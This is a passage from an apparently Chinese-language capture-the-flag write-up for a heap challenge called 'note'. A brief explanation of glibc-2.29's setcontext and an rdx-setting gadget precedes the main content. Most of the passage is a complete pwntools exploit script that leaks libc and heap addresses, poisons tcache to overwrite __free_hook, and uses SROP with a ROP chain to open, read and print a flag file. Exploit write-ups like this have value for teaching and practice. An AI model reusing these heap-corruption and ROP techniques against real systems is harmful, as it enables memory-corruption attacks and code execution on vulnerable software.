.text:0000000000055E72                 mov     r9, [rdx+30h]
.text:0000000000055E76                 mov     rdx, [rdx+88h]
.text:0000000000055E7D                 xor     eax, eax
.text:0000000000055E7F                 retn

原本在 glibc-2.27 的话,参数直接是rdi,而不会像这里这样转换到rdx,导致不可以直接利用。

通过仔细观察gadgets,找到了一条非常好用的 gadget:mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;

我们可以利用该 gadget 修改 rdx 的值,然后在配合 setcontext 进行 SROP 劫持rsp到heap上,然后在进行ROP将flag读出即可。

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
#     print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './note'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
libc = ELF('./libc-2.29.so')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    def pr
        x/128gx $rebase(0x202040)
        end
    b free
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    pass

def add(size, content):
    sh.sendlineafter(': ', '1')
    sh.sendlineafter(': ', str(size))
    sh.sendafter(': ', content)

def delete(index):
    sh.sendlineafter(': ', '2')
    sh.sendlineafter(': ', str(index))

def show(index):
    sh.sendlineafter(': ', '3')
    sh.sendlineafter(': ', str(index))

add(0x418, 'n')
add(0x58, 'n')
add(0x178, 'n')
add(0x158, 'n')
add(0x18, 'n')
for i in range(12):
    add(0x18, 'n')
for i in range(7 + 3):
    add(0x38, 'n')
for i in range(7 + 4):
    add(0x68, 'n')


for i in range(7): # 38
    add(0x28, 'n')

add(0x868, 'n') # 45
add(0x5e0, 'n')
add(0x18, 'n')
delete(46)
add(0x618, 'n')
add(0x28, 'a' * 8 + p64(0xe1) + p8(0x90)) # 48
add(0x28, 'n')
add(0x28, 'n')
add(0x28, 'n')
add(0x28, 'n')
for i in range(7):
    delete(i + 38)

delete(49)
delete(51)

for i in range(7):
    add(0x28, 'n')

add(0x618, 'n')
add(0x28, 'b' * 8 + p8(0x10))
add(0x28, 'x03')

for i in range(7):
    delete(i + 38)

delete(52)
delete(48)

for i in range(7):
    add(0x28, 'n')

add(0x28, p8(0x10))
add(0x28, 'c' * 0x20 + p64(0xe0))

add(0x4f8, 'n')
delete(54)

context.log_level = 'debug'

add(0x18, 'n')
show(53)
result = sh.recvuntil('n', drop=True)
libc_addr = u64(result.ljust(8, '')) - 0x1e4ca0
log.success('libc_addr: ' + hex(libc_addr))

add(0x38, 'n')
delete(17) # size: 0x38
delete(55)
show(53)
result = sh.recvuntil('n', drop=True)
heap_addr = u64(result.ljust(8, '')) - 0x1270
log.success('heap_addr: ' + hex(heap_addr))

add(0x18, 'n')
delete(17)
delete(50)
add(0x28, p64(0) + p64(0x31)  + p64(libc_addr + libc.symbols['__free_hook']))
add(0x18, 'n')

# 0x000000000012be97: mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax; 
add(0x18, p64(libc_addr + 0x000000000012be97))


frame = SigreturnFrame()
frame.rdi = heap_addr + 0x30a0 + 0x100 + 0x100
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = heap_addr + 0x30a0 + 0x100
frame.rip = libc_addr + 0x000000000002535f # : ret
frame.set_regvalue('&fpstate', heap_addr)

str_frame = str(frame)
payload = p64(libc_addr + libc.symbols['setcontext'] + 0x1d) + p64(heap_addr + 0x30a0) + str_frame[0x10:]

layout = [
    libc_addr + 0x0000000000047cf8, #: pop rax; ret; 
    2,
    # sys_open("./flag", 0)
    libc_addr + 0x00000000000cf6c5, #: syscall; ret; 

    libc_addr + 0x0000000000026542, #: pop rdi; ret; 
    3, # maybe it is 2
    libc_addr + 0x0000000000026f9e, #: pop rsi; ret; 
    heap_addr + 0x10000,
    libc_addr + 0x000000000012bda6, #: pop rdx; ret; 
    0x100,
    libc_addr + 0x0000000000047cf8, #: pop rax; ret; 
    0,
    # sys_read(flag_fd, heap, 0x100)
    libc_addr + 0x00000000000cf6c5, #: syscall; ret; 

    libc_addr + 0x0000000000026542, #: pop rdi; ret; 
    1,
    libc_addr + 0x0000000000026f9e, #: pop rsi; ret; 
    heap_addr + 0x10000,
    libc_addr + 0x000000000012bda6, #: pop rdx; ret; 
    0x100,
    libc_addr + 0x0000000000047cf8, #: pop rax; ret; 
    1,
    # sys_write(1, heap, 0x100)
    libc_addr + 0x00000000000cf6c5, #: syscall; ret; 

    libc_addr + 0x0000000000026542, #: pop rdi; ret; 
    0,
    libc_addr + 0x0000000000047cf8, #: pop rax; ret; 
    231,
    # exit(0)
    libc_addr + 0x00000000000cf6c5, #: syscall; ret; 
]
payload = payload.ljust(0x100, '') + flat(layout)
payload = payload.ljust(0x200, '') + './flag'
add(0x300, payload)
delete(56)

sh.interactive()
clear()
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